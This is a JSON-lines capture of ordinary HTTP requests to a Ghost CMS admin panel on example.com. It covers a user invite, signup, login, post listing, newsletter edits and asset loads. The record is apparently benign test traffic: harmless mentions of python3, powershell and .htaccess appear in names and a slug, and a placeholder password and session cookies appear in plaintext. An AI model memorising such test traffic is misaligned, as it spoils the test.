{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 120", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"invites\":[{\"email\":\"bob@example.com\",\"role_id\":\"6af4570fd281b00001a59895\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/signup/MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0/", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/signup-sKkAjHyM.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=bob%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 207", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTAwNDAzNzc2OHxib2JAZXhhbXBsZS5jb218SXM2SEhaTi9vQ0ZMQ0oyay90WmYyTmpEMUdhWjhENExOd2xuTkliYlFBMD0\",\"name\":\"Bob Example\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"bob@example.com\"}]}"}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"bob@example.com\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\"}"}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Ascheduled%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Adraft%2Bauthors%3Abob&order=updated_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3A%5Bpublished%2Csent%5D%2Bauthors%3Abob&order=published_at+desc&limit=30", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AtLV_qKR7QccmB8csIdIB9_YpUw7Dspuf.YzXMH%2FGIMpXLGxr0od2pAXtJpY8ZbCbY8roi%2FtKV6Cg"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/newsletter-detail-modal-D7J2VZwE.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/form-section-DvfOHVon.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/html-field-CjQZo4D_.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/preview-modal-BlZMSkK0.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/user-cover-yM4cP_Mo.jpg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "PUT", "target": "/ghost/api/admin/newsletters/6af45710d281b00001a598a1/?include=count.active_members%2Ccount.posts", "headers": ["Host: example.com", "Content-Length: 1340", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"newsletters\":[{\"id\":\"6af45710d281b00001a598a1\",\"uuid\":\"695dbeb5-0877-4cb3-8e1a-53f2ea88dd55\",\"name\":\"Shell tips weekly: python3 & powershell\",\"description\":null,\"feedback_enabled\":false,\"slug\":\"default-newsletter\",\"sender_name\":\"Alice from Example Blog\",\"sender_email\":null,\"sender_reply_to\":\"newsletter\",\"status\":\"active\",\"visibility\":\"members\",\"subscribe_on_signup\":true,\"sort_order\":0,\"header_image\":null,\"show_header_icon\":true,\"show_header_title\":true,\"title_font_category\":\"sans_serif\",\"title_font_weight\":\"bold\",\"title_alignment\":\"center\",\"show_excerpt\":false,\"show_feature_image\":true,\"body_font_category\":\"sans_serif\",\"footer_content\":\"<p dir=\\\"ltr\\\"><span>Questions about python3, powershell or .htaccess? Reply to this email.</span></p>\",\"show_badge\":true,\"show_header_name\":false,\"show_post_title_section\":true,\"show_comment_cta\":true,\"show_share_button\":false,\"show_subscription_details\":false,\"show_latest_posts\":false,\"background_color\":\"light\",\"header_background_color\":\"transparent\",\"button_color\":\"accent\",\"link_color\":\"accent\",\"post_title_color\":null,\"section_title_color\":null,\"divider_color\":null,\"button_corners\":\"rounded\",\"button_style\":\"fill\",\"image_corners\":\"square\",\"link_style\":\"underline\",\"created_at\":\"2026-11-11T11:52:48.000Z\",\"updated_at\":\"2026-11-11T11:54:12.000Z\",\"count\":{\"posts\":0,\"active_members\":0}}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/add-integration-modal-Db8lCsZK.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 62", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": "{\"integrations\":[{\"name\":\"Example sync for python3 scripts\"}]}"}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/custom-integration-modal-DQA3GFy6.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/design-and-theme-modal-D0LQ4lu4.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/modal-page-BJksnimm.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/settings-breadcrumbs-DmaKJn41.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/use-design-form-Dzxmr_cn.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/iframe-buffering-CJ8F4CUT.js", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-V-WXZXnS.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-Magazine-Czq1p0a_.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Source-Newsletter-CwTcfhJ-.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Casper-ASA9Ix4v.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Edition-cIDLjlhj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Solo-c-yPo0gw.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Taste-U2cRR2yO.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Episode-D7bgV2bY.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Digest-DJl0U_FG.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Bulletin-BUpcurG5.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Alto-DoS3yH_j.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Dope-D_CgP0p0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Wave-DE2aI-FM.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Edge-BPZxvKka.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Dawn-aeEVEPie.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Ease-B4NuA7sj.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Headline-BFXOunIb.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Ruby-DVEXVMTx.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/London-CSCVHwS0.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/Journal-D3UW9T2b.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/assets/footer-marketplace-bg-cXGt4GLt.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
{"method": "GET", "target": "/ghost/api/admin/slugs/post/about-python3-powershell-htaccess/", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: */*", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3ApyQuEYuuhAK8u18lU0bDl1kAjTTCtLBe.fHhgUS7MTBvPYpROnyCJjqXG%2BzBuicl%2Bw6WGQi%2Brq5Q"], "body": ""}
|
|
||||||
